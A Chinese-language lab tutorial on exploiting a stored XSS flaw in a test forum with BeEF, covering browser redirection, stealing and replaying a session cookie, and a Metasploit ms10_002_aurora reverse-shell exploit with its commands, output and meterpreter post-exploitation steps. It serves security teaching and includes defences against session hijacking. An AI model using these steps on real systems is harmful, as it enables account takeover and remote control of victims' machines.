目录
1 案例简介
1.1 案例目的
(1)加深对XSS漏洞的理解;
(2)了解beEF的使用。
1.2 案例环境
(1)服务器:win2008,IP地址为172.16.1.1。部署WAMP环境并之前写过一个的简单论坛网站,启动phpstudy,确保论坛能被访问。部署WAMP环境具体可参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》、简单论坛网站的开发可参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例(具有用户注册、登录、注销、修改信息、留言等功能)》。
(2)靶机:winxp,IP地址为172.16.1.5。
(3)攻击者:kali,IP地址为172.16.1.10。安装有beEF。
2 案例一:浏览器劫持
2.1 概述
定义:
- 从软件方面来说,它是一种恶意程序,通过DLL插件、BHO、WinsockLSP等形式对用户的浏览器进行篡改,使用户浏览器出现访问正常网站时被转向到恶意网页、IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址等异常情况。
- 从技术方面来说,它是一种常见的在线攻击类型,黑客可通过这种方式控制的计算机的浏览器,并更改网上冲浪的方式和冲浪时所显示的内容。
- “浏览器劫持”,通俗点说就是故意误导浏览器行进路线的一种现象。
常见的浏览器劫持现象有:
- 访问正常网站时被转向到恶意网页;
- 当输入错误的网址时被转到劫持软件指定的网站;
- 输入字符时浏览器速度严重减慢
- IE浏览器主页/搜索页等被修改为劫持软件指定的网站地址
- 自动添加网站到“受信任站点”
- 不经意的插件提示安装
- 收藏夹里自动反复添加恶意网站链接等
危害:浏览器一旦被劫持,就意味这用户无法决定自己的电脑里将被存放进什么资料,这无疑存在巨大安全隐患。
2.2 案例步骤
(1)首先,kali作为攻击者需要先补下鱼饵。访问win2008上的简陋论坛网站,注册并登录b账户(密码1),在上面留言,利用存储型XSS漏洞执行shellcode。留言标题为明天会更好,留言内容如下:明天会更好。
(2)受害者查看了攻击者的留言。受害者winXP登录了自己的a账号(密码1)访问了该简陋论坛网站,并点开了攻击者的留言。
(3)kali劫持了winxp的浏览器。回到Kali系统,可以看到鱼儿上钩。当靶机关闭浏览器时,就会显示鱼儿下线。
(4)在kali虚拟机中,在Web界面管理控制台先选中目标,在选择redirect browser对靶机的浏览器网页进行重定向,输入要控制其重定向的目标网站,比如这里输入www.baidu.com,将控制靶机浏览器跳转到百度首页。
3 案例二:会话劫持
在《【PHP基础-9】Session机制详解及Session身份认证应用案例》一文中,我们介绍过会话劫持与会话固定,此处再现一次会话劫持,并补充该攻击的实验过程。
3.1 概述
含义
会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
攻击步骤
- 目标用户需要先登录站点;
- 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
- 攻击者通过某种攻击手段捕获Session ID;攻击者获取SessionID的方式有多种:
①暴力破解:尝试各种Session ID,直到破解为止;
② 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
③窃取:使用网络嗅探,XSS攻击等方法获得。 - 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
防御方法
- 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
- 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
- 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
- 关闭所有phpinfo类dump request信息的页面。
- 验证HTTP头部信息。
- 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。
3.2 案例步骤
(1)首先按浏览器劫持的方法,让鱼儿上钩。如案例一
(2)窃取Cookie。选中靶机,在command面板找到GetCookie命令并执行,执行后可以看到已经获取到靶机访问论坛是的Cookie: cookie=name=a;
(3)Cookie利用。在Kali系统上,打开留言区,在留言论坛首页,退出登录,按下F12进入控制台模块,输入命令如下:document.cookie="name=a"
刷新,可以看到首页登录了账号a。
4 案例三:GetShell
4.1 概述
利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。
ms10002漏洞可以通过winxp的IE浏览器GetShell;
4.2 案例步骤
该部分内容将在学习metasploit技术时完整提高。在本节中仅简单了解GetShell目标的实现。具体步骤如下:
(1)输入命令msfconsole
启动该功能。启动过程如下,等得有点久。
(2)输入以下命令设置参数,执行过程中终端命令行如下:
use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.1.10
set LHOST 172.16.1.10
show options
exploit
(3)复制执行过程中倒数第二行代码的网址http://172.16.1.10:8080/8Pph64EgzIeH9
,作为目标靶机重定向的网址。回到beef管理平台:选中靶机→选择命令redirect browser→黏贴网址箭头执行。
(4)执行后可以看到kali终端命令行新建会话如下,用session ID来表示第几个会话。注意,执行后我们就获得了目标主机的shell,但是该shell的前提是目标浏览器是开着的情况下,当浏览器浏览其他网页或下线后,该shell就无效。
[*] 172.16.1.5 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (175174 bytes) to 172.16.1.5
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.5:1159 ) at 2022-06-02 04:23:48 -0400
(5)使用命令sessions -i
查询会话列表,使用命令sessions -i -1
切换至ID为1的会话。
(6)使用ps
命令,查看有哪些进程,执行过程如下。
(7)使用命令getpid
查看当前是哪个进程。查看结果为1096,也就是浏览器进程。
(8)使用命令getuid
查看当前用户。
(9)使用命令migrate+进程号
切换至目标进程,并执行,如果切换过程中浏览器关闭则会话断开。
5 总结
(1)了解beEF工具的使用;
(2)加深理解XSS漏洞的利用和危害;
(3)掌握浏览器劫持的攻击方法;
(4)掌握会话劫持的攻击方法;
(5)掌握通过XSS漏洞GetShell的方法。